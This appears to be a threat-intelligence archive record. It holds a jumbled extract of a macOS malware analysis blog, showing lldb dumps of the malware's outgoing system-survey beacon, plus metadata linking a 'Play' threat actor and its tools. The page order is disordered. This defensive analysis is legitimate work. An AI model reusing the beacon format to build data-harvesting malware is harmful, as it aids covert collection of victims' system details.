task:\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 29 of 30\n\nlove these blog posts \u0026 tools? you can support them via patreon! Mahalo :)\r\nSource: https://objective-see.com/blog/blog_0x2A.html\r\nhttps://objective-see.com/blog/blog_0x2A.html\r\nPage 30 of 30\n\nframe #0: (lldb) x/3x 0xa766a39f libsystem_c.dylib`send $esp  \n0xb0596a9c: 0x00173a6d 0x00000003 0x03b2d1a8 \n(lldb) x/100bx 0x03b2d1a8  \n0x03b2d1a8: 0x70 0x75 0x3f 0x00 0x48 0x6f 0x59 0xb0\n0x03b2d1b0: 0x8e 0x8a 0x02 0x00 0x8c 0x75 0x3f 0x00\n0x03b2d1b8: 0xae 0x00 0x00 0x00 0x00 0x00 0x00 0x00\n0x03b2d1c0: 0xad 0xde 0x02 0x00 0x00 0x00 0x00 0x00\n0x03b2d1c8: 0x00 0x00 0x00 0x00 0x7b 0x22 0x56 0x65\n0x03b2d1d0: 0x72 0x22 0x3a 0x31 0x2c 0x22 0x52 0x41\n0x03b2d1d8: 0x4d 0x22 0x3a 0x30 0x2c 0x22 0x43 0x41\n0x03b2d1e0: 0x4d 0x22 0x3a 0x66 0x61 0x6c 0x73 0x65\n0x03b2d1e8: 0x2c 0x22 0x53 0x65 0x72 0x69 0x61 0x6c\n0x03b2d1f0: 0x22 0x3a 0x22 0x78 0x38 0x36 0x5f 0x36\n0x03b2d1f8: 0x34 0x5c 0x6e 0x22 0x2c 0x22 0x50 0x43\n0x03b2d200: 0x4e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x75\n0x03b2d208: 0x73 0x65 0x72 0x5c \n(lldb) x/s 0x03b2d1cc  \n0x03b2d1cc: \"{\"Ver\":1,\"RAM\":0,\"CAM\":false,\"Serial\":\"x86_64\\n\",\"PCName\":  \n\"user\\n- user\",\"OS\":\"Mac OS X10.13.2\",\"ID\":\"Mac_Vic\",\"AW\":\"N\\/A\",\"AV\":\"N\\/A\"}\" \nNote that the malware actually prints this out to stdout as well:\n   Page 20 of 30",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"MITRE"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x2A.html"
	],
	"report_names": [
		"blog_0x2A.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434072,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/548aa0a912a71c5abb0fa2fb6792253619e88e2a.pdf",
		"text": "https://archive.orkl.eu/548aa0a912a71c5abb0fa2fb6792253619e88e2a.txt",
		"img": "https://archive.orkl.eu/548aa0a912a71c5abb0fa2fb6792253619e88e2a.jpg"
	}
}